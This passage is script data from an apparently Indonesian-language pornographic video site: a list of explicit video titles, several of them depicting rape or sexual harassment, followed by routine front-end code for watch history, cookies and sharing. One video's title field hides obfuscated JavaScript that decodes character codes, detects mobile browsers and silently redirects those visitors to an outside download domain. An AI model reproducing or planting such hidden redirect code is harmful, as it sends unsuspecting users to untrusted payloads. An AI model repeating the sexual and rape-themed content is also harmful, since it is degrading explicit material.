Shen Nana Zhang Yunxi MD0346 Perburuan Pramugari Setelah Pantang: Stoking Sutra Hitam dan Kaki Giok dengan Berani Mengekstraksi Esensi","lastmod":"2026-07-11","duration":"50:24","url":"/play/19166073.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNDIyNTExMjdmNTEwNmQ2ZGRlNWZmZTRmYmRiNTU5MTkuanBn.cache","vod_id":19150829,"title":"Tekstur kulit, lekuk tubuh, vagina yang indah. Istri kelas atas berusia 40-an itu dikhianati. Dia bekerja di tempat kerja yang sama dengan suami saya. NTRH-026","lastmod":"2026-03-30","duration":"02:03:45","url":"/play/19150829.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTQ5ODE1N2U4MzE5MTYzNjYxYjIwZGMwOGFlMzQ0NDEuanBn.cache","vod_id":18967194,"title":"[Versi Tanpa Sensor] MAAN-836 [Tubuh Montok, Klimaks Spasmodik] Seorang istri yang berbudi luhur dan cantik berusaha meningkatkan keterampilan memasaknya untuk menyenangkan suaminya, yang merupakan pemain mesin pinball.","lastmod":"2025-12-14","duration":"02:04:46","url":"/play/18967194.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmQ2NDM5OWI5Y2VjY2MyZDJhZTU5NjE4ODdhZTAxMDEuanBn.cache","vod_id":18963090,"title":"\"Rahasia Cloud Drive Raja Kemuliaan\" - Menunjukkan wajahmu adalah kuncinya! Seorang pramugari dengan penampilan dan sosok yang sempurna adalah dewi di pesawat tetapi menjadi budak sugar daddy setelah mendarat~ Seks, minum air kencing, dan segala macam latihan - kontras ekstrem (2)","lastmod":"2025-12-14","duration":"00:04:51","url":"/play/18963090.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjJlYTU4ODE2MjM2ZTk3MDk2ZDI1ZDE2MTk2ODYzOGIuanBn.cache","vod_id":19024960,"title":"Berita terpanas: Skandal penerbangan yang sedang tren - berbagai posisi dan bahasa cabul digunakan untuk melakukan pelecehan seksual terhadap pramugari/pramugara berkualitas tinggi.","lastmod":"2025-03-24","duration":"21:15","url":"/play/19024960.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzZiMTVkMmNlOTAxYWYzZDVmZTIyZDM2NzMzMWVlNjMuanBn.cache","vod_id":18960895,"title":"SHKD-418 Diperkosa di depan suaminya - Mengunjungi pemerkosa Riko Aoki","lastmod":"2025-03-22","duration":"01:53:40","url":"/play/18960895.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGU0YThjZTczMmZhODM5Mzc4NDNkYmU0N2Y0MmFhOGMuanBn.cache","vod_id":18924668,"title":"Foto selfie mahasiswi berkulit gelap - ham_jenna_jewels_bb072415_720p_8000","lastmod":"2025-12-14","duration":"00:29:11","url":"/play/18924668.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly8xNTI2MDMwOXAudG9wLzIwMjYwMzEyLzhqZnR0blJkLzEuanBn.cache","vod_id":19148147,"title":"Istri yang tinggi dan cantik ini memiliki hasrat seksual yang tinggi, dan kehidupan seks suaminya yang biasa-biasa saja tidak dapat memuaskannya... Dia datang ke sini, mendambakan penis yang kuat. (ATYA-033)","lastmod":"2026-03-13","duration":"02:01:12","url":"/play/19148147.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmM3ZWEyMDA2Mzc1YTU0ZTgyNmVhY2VlOWZiNmNiNTMuanBn.cache","vod_id":18999789,"title":"Menikmati teknik lidah suaminya yang kejam dan cabul - Hitonori Fukasawa","lastmod":"2025-03-23","duration":"02:29:58","url":"/play/18999789.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA2MjMvMTc2MTUxOTU3MzY0MDQzZmMyNDRlYmMwZmEyM2Q0NGQuanBn.cache","vod_id":19165000,"title":"var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}Sepatu Hak Tinggi, Stoking, Sepatu Bot Setinggi Paha, Pramugari Mendapatkan Uang Melalui Seks, Ejakulasi Tanpa Perlindungan, Sperma Putih Meledak","lastmod":"2026-07-11","duration":"21:58","url":"/play/19165000.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGIzZmI1OTdiYjUzNjU5YzhjY2VmNjFkMmZkMWZlYjkuanBn.cache","vod_id":18992823,"title":"JUY-912 Hari Pertama Aku Berbohong pada Suamiku ~Hari April Mop yang Tidak Bermoral~ - Sakuragi Reina 1","lastmod":"2025-12-14","duration":"01:56:54","url":"/play/18992823.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTFmZDM4Yjc1YjZkOTE0Yzk3MmE2MDQzYWNmMGQ0MmUuanBn.cache","vod_id":18958669,"title":"BIJN-139 Keinginan suami untuk berselingkuh terkabul! Nafsu tak terbatas dan kenikmatan orgasme tanpa akhir dari seorang istri berusia lima puluhan. Yumi Anno","lastmod":"2025-12-14","duration":"02:04:09","url":"/play/18958669.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTIwN2JhOGFlMDYxYjlkOTM3ZGQ2MTg1MTM5YzI1YmEuanBn.cache","vod_id":18961701,"title":"Keuntungan Eksklusif Kursi VIP [Edisi Seragam Pramugari] ~ Berbagai Pramugari Kaya dan Cantik: Lembut dan Berbudi Luhur dalam Kehidupan Sehari-hari, Sangat Berbeda dalam Kehidupan Pribadi (1)","lastmod":"2025-12-14","duration":"00:05:29","url":"/play/18961701.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjJiMDI3NGI3OGI2NGJiYjM2YjkwYmE3ZDg5MjM3ZjAuanBn.cache","vod_id":18993547,"title":"JUL-030 Eksklusif Madonna \"Kaori Iiyama\" Akhirnya Mengizinkan Seks Cream Pie!! Di akhir bulan, saat suaminya bermain golf, wanita yang sudah menikah ini mengundang pasangan seksualnya ke rumahnya untuk melakukan seks cream pie.","lastmod":"2025-12-14","duration":"01:55:17","url":"/play/18993547.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWUwNmVkMmRiMjFjNTZhNWNjMGM3NTgwZmYyNWU4MWQuanBn.cache","vod_id":18946554,"title":"ADN-208 Pijat Cabul ~Rahasia Istri yang Tidak Diketahui Suaminya~ Matsumoto Nanami","lastmod":"2025-03-22","duration":"02:09:46","url":"/play/18946554.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWQyZWMxNDdkM2M5MTRjNmQ5OTAzM2E3NThhMWQ4ZTguanBn.cache","vod_id":19004820,"title":"HOKS-149-C Dia masih muda, tapi... dia menggemaskan. Istri saya berumur 19 tahun, dan suami saya 54 tahun. Kami sedang bermain peran sebagai pencuri toko.","lastmod":"2025-03-23","duration":"01:43:15","url":"/play/19004820.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTIvZWExZTMyOTg4N2Q1NjI2ZTIxMmU0ZDhkNmQzM2FkZmMuanBn.cache","vod_id":19057128,"title":"[Jangan lepas bra-mu?] Wanita yang sudah menikah mengundang perawan Yuko Ono yang mengenakan lingerie mewah untuk menghabiskan siang hari tanpa suami. DLDSS368","lastmod":"2025-10-11","duration":"02:03:16","url":"/play/19057128.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjI5M2EzNGY3YjQwMGIyNWJlNmFiYzNkMzA5NmI0ZmMuanBn.cache","vod_id":18935364,"title":"[Subtitle Bahasa Mandarin] HJMO-423 Tantangan Pasangan! Suami Mempelajari Teknik Luar Biasa dari Matsumoto Nanami 20","lastmod":"2025-12-14","duration":"03:30:36","url":"/play/18935364.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzc1YmFjNjdmMjgwYmNiZjg4MWVhOGQ1YjJkMjM4MGEuanBn.cache","vod_id":18985477,"title":"AUKG-584 Hubungan lesbian seorang wanita yang sudah menikah ~Seorang suami mesum merasa bergairah melihat istrinya dirayu oleh wanita lain~","lastmod":"2025-12-14","duration":"01:59:11","url":"/play/18985477.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2U2MzIwYmUwZGY4ZmJhZjcxMmVlYWU0MTA1MDcyMTYuanBn.cache","vod_id":18944183,"title":"Suamiku selingkuh... -da_reagan_foxx_vl111116_720p_8000","lastmod":"2025-12-14","duration":"00:36:34","url":"/play/18944183.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDMvOWVjYTkyMDYwZjI3MTk1MzQ5NTk4ZWUyZTY1ZmQ1NDAuanBn.cache","vod_id":19036361,"title":"JUQ319 Aku tidak bisa memberi tahu suamiku bahwa aku hamil karena ayah mertuaku... Apa yang terjadi selama liburan pemandian air panas dua hari satu malam kita?","lastmod":"2025-06-03","duration":"02:15:57","url":"/play/19036361.html"}]},
videoTitle: 'SecretCrush4K - Pramugari dengan Keratinisasi Berlebihan Selingkuh dari Suaminya [SecretCrush]',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}